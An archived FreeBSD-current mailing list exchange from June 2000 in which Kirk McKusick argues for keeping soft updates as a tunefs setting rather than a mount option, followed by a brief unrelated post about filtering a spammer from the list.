Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c On Thu, Jun 22, 2000, Brad Knowles wrote: > At 10:30 AM +0200 2000/6/22, Adrian Chadd wrote: > > > I like this. Would anyone object if this was brought over > > from NetBSD ? > > If you're asking for a vote, you've got mine. Hmm, Kirk has valid points for leaving a softupdates filesystem identified by tunefs and not a mount option. Kirk, do you still want to keep things that way ? Adrian Yes, I do want it kept as a yunefs option. Date: Thu, 22 Jun 2000 13:31:29 +0200 From: Stefan Esser To: Adrian Chadd Cc: mckusick@mckusick.com, freebsd-current@freebsd.org, Stefan Esser Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c ... I do remember the discussion that lead to the requirement to enable soft-updates with tunefs -n. But I do not remember, why the soft-updates state could not be just set in the local copy of the super-block and flushed to disk when the file system is marked dirty ? Just before a clean file system is to be mounted R/W, it is obviously safe to modify the soft-updates state. The file system must have been cleaned before, or the R/W mount will not be possible (extra logic can prevent the modification of the MNT_SOFTDEP bit if a mount of a non-clean partition is forced, in order to preserve the soft-updates state for the next fsck run). If the kernel was compiled without soft-updates, it may be the right thing to keep MNT_SOFTDEP cleared, to not mislead FSCK ... Did I miss something obvious ? Regards, STefan Your above proposal would work, though that is not how NetBSD implemented it. I feel that it is a lot of extra mechanism for very little gain. Administrators generally make a one-time decision to run soft updates on a filesystem. It is not the sort of thing that they want to change on a regular basis. It is possible to run tunefs on a filesystem that is mounted read-only, so it no more difficult to use tunefs than it is to make it a mount-time option (i.e., they still have to down-grade to read-only, set the option, then upgrade). Finally, I expect that soft updates will eventually just be defaulted to `on' when a filesystem is built, and in a few rare instances an administrator will want to turn it off. I do not want to have an option that needs to be added to nearly every fstab entry to get the default behavior. Plus it is just one more bit of trivia that new system administrators need to learn to make their systems run well. The more of those details that need not be learned because they just do the right thing, the better. Kirk McKusick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18:59:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from pozo.com (pozo.com [216.101.162.50]) by hub.freebsd.org (Postfix) with ESMTP id 736ED37B68E for ; Sat, 24 Jun 2000 18:59:35 -0700 (PDT) (envelope-from null@pozo.com) Received: from dual.pozo.com (dual.pozo.com [216.101.162.51]) by pozo.com (8.9.3/8.9.3) with ESMTP id SAA04134; Sat, 24 Jun 2000 18:59:31 -0700 (PDT) (envelope-from null@pozo.com) Message-Id: <4.3.2.7.2.20000624185851.00b2ee18@pozo.com> X-Sender: null@pozo.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 24 Jun 2000 18:59:31 -0700 To: Brian Hechinger , Joe , freebsd-current@FreeBSD.ORG From: Manfred Antar Subject: =?iso-8859-1?Q?RE:_Anybody_notice=3F_Was:Re:__=E7=ED=E0=EA_?= =?iso-8859-1?Q?=EE=EC=F1=F2=E2=EE?= In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_5698000==_.ALT" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --=====================_5698000==_.ALT Content-Type: text/plain; charset="us-ascii" At 09:52 PM 6/24/2000 -0400, Brian Hechinger wrote: >i just got three more, that makes like 5 or 6 today. is it possible to filter this guy on the mailing list server? he's obviously not going to ever post anything of any value. > >-brian I just put a filter in my mail program. ================================== || null@pozo.com || || Ph. (415) 681-6235 || ================================== --=====================_5698000==_.ALT Content-Type: text/html; charset="us-ascii" At 09:52 PM 6/24/2000 -0400, Brian Hechinger wrote:

i just got three more, that makes like 5 or 6 today.  is it possible to filter this guy on the mailing list server?  he's obviously not going to ever post anything of any value.

-brian

I just put a filter in my mail program.


==================================
||      null@pozo.com           ||
||      Ph. (415) 681-6235      ||
================================== --=====================_5698000==_.ALT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message